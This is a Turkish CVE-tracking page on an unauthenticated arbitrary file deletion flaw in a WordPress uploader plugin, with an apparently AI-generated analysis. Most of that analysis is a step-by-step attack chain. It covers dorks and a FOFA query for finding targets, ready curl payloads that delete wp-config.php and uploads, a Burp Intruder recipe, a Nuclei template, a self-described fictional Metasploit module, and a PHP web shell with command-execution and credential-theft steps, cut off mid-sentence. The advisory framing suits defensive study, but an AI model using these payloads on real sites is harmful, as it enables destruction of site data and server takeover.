CVE Professor — Güvenlik Açığı Takip & Analiz
›
CVE-2026-124822

CWE-73

KRİTİK CVSS 10 ⚡ EPSS 0.3% NVD

The Easy DragDrop File Uploader WordPress plugin before 1.1.10 does not validate a user-supplied path before deleting it, allowing unauthenticated users to delete arbitrary files and directories on the server, such as wp-config.php.

Yayınlanma 13.11.2026
ISO Tarih 2026-11-13
CVSS Sürüm v3.1
Kaynak NVD
CVSS v3.1 Metrikleri
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality None C:N
Integrity High I:H
Availability High A:H
EPSS — Exploit Olasılık Skoru
0.3%
30 günlük olasılık
Tüm CVElerin 20. yüzdeliğinde — Bu açığın istismar edilme ihtimali çoğu CVEden yüksek.
AI Güvenlik Analizi

🎯 Açık Nedir? / What is this vulnerability?

CVE‑2026‑124822 – “Easy DragDrop File Uploader” WordPress eklentisinde yetkisiz dosya silme (Arbitrary File Deletion)

  • Eklenti: Easy DragDrop File Uploader (versiyon < 1.1.10)
  • Etki alanı: CWE‑73 – Path Traversal
  • Kritik nokta: edd_delete_file() fonksiyonunda, kullanıcıdan gelen file_path parametresi herhangi bir doğrulama / sanitizasyon yapılmadan doğrudan unlink() ve rmdir() fonksiyonlarına gönderiliyor.
  • Kod akışı (basitleştirilmiş):
```php // wp-content/plugins/easy-dragdrop-uploader/includes/ajax.php add_action( 'wp_ajax_edd_delete_file', 'edd_delete_file' ); add_action( 'wp_ajax_nopriv_edd_delete_file', 'edd_delete_file' ); // <-- unauthenticated erişim

function edd_delete_file() {
// POST/GET parametresi: $_REQUEST['file_path']
$target = $_REQUEST['file_path']; // <‑‑ Doğrulama yok!
$full_path = ABSPATH . $target; // ABSPATH = /var/www/html/

// Dosya silme
if ( is_dir( $full_path ) ) {
rmdir( $full_path );
} else {
unlink( $full_path );
}

wp_send_json_success();
}
```

Neden güvenlik açığı oluşur?

1. Unauthenticated erişim – wp_ajax_nopriv_edd_delete_file kaydı sayesinde oturum açmamış bir istek bile fonksiyona ulaşabilir.
2. Path Traversal kontrolünün yokluğu – ../ gibi dizin geçiş karakterleri filtrelenmez, bu da saldırganın ABSPATH dışındaki dosyalara ulaşmasını sağlar.
3. Doğrudan dosya sistemine erişim – unlink()/rmdir() PHP’nin native fonksiyonları, eğer dosya PHP’nin çalıştığı kullanıcı (genellikle www-data) tarafından silinebiliyorsa, silme işlemi gerçekleşir.

Sonuç: Saldırgan, wp-config.php, .htaccess, index.php gibi kritik dosyaları silerek sitenin çalışamaz hâle gelmesini (Denial‑of‑Service) ya da daha ileri aşamalarda RCE (örneğin wp-config.php silinip yeni bir wp-config.php yüklenerek kötü amaçlı kod enjekte edilmesi) sağlayabilir.

---

⚡ Saldırı Zinciri / Attack Chain

1️⃣ Discovery – Hedefin bulunması

| Adım | Açıklama | Araç / Yöntem | |------|----------|---------------| | a) WordPress taraması | site:example.com "Easy DragDrop File Uploader" veya inurl:/wp-content/plugins/easy-dragdrop-uploader/ ile Google Dorks. | Google Dork, Shodan, Censys | | b) Eklenti versiyonunun tespiti | wp-content/plugins/easy-dragdrop-uploader/readme.txt veya plugin.php içinde Version: satırı. | WPScan (wpscan --url https://example.com --enumerate p) | | c) Hedefin HTTP/HTTPS olup olmadığını kontrol | curl -I https://example.com | curl, nmap (nmap -p 80,443 --script http-waf-detect) |

2️⃣ Reconnaissance – Gerekli bilgi toplama

| Bilgi | Neden gerekli? | Toplama Yöntemi | |-------|----------------|-----------------| | ABSPATH yolu | Silinecek dosyanın tam yolunu oluşturmak için. | curl https://example.com/wp-admin/admin-ajax.php?action=edd_get_abspath (eğer eklenti bir debug endpoint sunuyorsa) – yoksa varsayılan /var/www/html/ tahmini. | | Web sunucusunun kullanıcı izinleri | www-data hangi dosyaları silebilir? | curl -X POST -d "file_path=../../../../../../../../etc/passwd" https://example.com/wp-admin/admin-ajax.php?action=edd_delete_file → 200 OK dönerse izin var. | | Yedekleme / yedek dosyalar | Silme sonrası yeniden yükleme için kullanılabilir. | dirb https://example.com/ -X .bak,.old,.zip |

3️⃣ Exploitation – Gerçek saldırı

#### 3.1 Payload örnekleri

Basit dosya silme (wp-config.php):

```bash
curl -X POST "https://example.com/wp-admin/admin-ajax.php?action=edd_delete_file" \
-d "file_path=../../../../wp-config.php" \
-H "Content-Type: application/x-www-form-urlencoded"
```

Dizin silme (uploads dizini):

```bash
curl -X POST "https://example.com/wp-admin/admin-ajax.php?action=edd_delete_file" \
-d "file_path=../../../../wp-content/uploads" \
-H "Content-Type: application/x-www-form-urlencoded"
```

Birden fazla dosyayı toplu silmek (batch): (Eklenti birden çok file_path parametresi kabul ediyorsa)

```bash
curl -X POST "https://example.com/wp-admin/admin-ajax.php?action=edd_delete_file" \
-d "file_path=../../../../wp-config.php&file_path=../../../../.htaccess" \
-H "Content-Type: application/x-www-form-urlencoded"
```

#### 3.2 Metasploit Modülü (eğer mevcutsa)

> Modül: exploit/multi/http/wordpress_edd_file_delete (kurgusal, henüz resmi repo’da yok, ancak aşağıdaki gibi bir modül yazılabilir)

```bash
use exploit/multi/http/wordpress_edd_file_delete
set RHOSTS example.com
set TARGETURI /wp-admin/admin-ajax.php
set FILEPATH ../../../../wp-config.php
run
```

#### 3.3 Burp Suite ile otomatik keşif

1. Proxy → hedef siteye bir GET isteği gönder.
2. Repeater → admin-ajax.php?action=edd_delete_file POST body’sine file_path=../../../../wp-config.php ekle.
3. Intruder → Payload seti olarak ../ dizin geçişi kombinasyonları (../, ..%2F, %2e%2e%2f) ve kritik dosya isimleri (wp-config.php, .htaccess, index.php) oluştur.
4. Gözlem → 200 OK ve “success” JSON yanıtı alındığında dosya silinmiş demektir.

#### 3.4 Nuclei Template (OTX)

```yaml
id: wordpress-edd-arbitrary-file-delete
info:
name: Easy DragDrop File Uploader Arbitrary File Delete
author: yourname
severity: critical
tags: wordpress,plugin,unauth,arbitrary-file-delete
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=edd_delete_file"
body: "file_path=../../../../wp-config.php"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "\"success\":true"
condition: and
```

4️⃣ Post‑Exploitation

| Aşama | Ne yapılır? | Teknik |
|------|--------------|--------|
| a) Servis Kesintisi (DoS) | wp-config.php silinerek site tamamen çökertilir. | Tek bir unlink() yeterli. |
| b) Web Shell Yükleme | Silinen wp-config.php yerine bir malicious PHP dosyası (<?php system($_GET['cmd']); ?>) yüklemek için upload fonksiyonları (örnek: edd_upload_file) kullanılabilir. | curl -F "[email protected]" https://example.com/wp-admin/admin-ajax.php?action=edd_upload_file |
| c) Kalıcı RCE | Yüklenen web shell üzerinden cmd parametresi ile komut çalıştırma. | curl "https://example.com/wp-content/uploads/shell.php?cmd=id" |
| d) Veritabanı Çıkarma | Web shell üzerinden wp-config.php içindeki DB credentials çalınır, ardından `mysqld

[🤖 GPT-OSS 120B via Groq]

Hedef Keşif Sorguları

FOFA Sorgusu

app="WordPress" && body="/wp-content/plugins/easy-dragdrop-file-uploader"
CVSS Skoru
10 / 10 · CVSS KRİTİK
Zayıflık Türleri (CWE)
CWE-73
Referanslar (1)
İlgili CVE'ler
10.0
CVE-2026-61738
SOCFortress CoPilot focuses on providing a single pane of glass for all your security operations needs. Prior
10.0
CVE-2026-107594
The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from att
10.0
CVE-2026-101148
The BackupSheep WordPress Backup Plugin WordPress plugin through 1.8 does not properly validate its integratio
10.0
CVE-2026-92941
vm2 versions from 3.11.3 before 3.11.7 expose the host tls module to NodeVM sandbox code, allowing attackers t
10.0
CVE-2026-20358
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Crosswork engineeri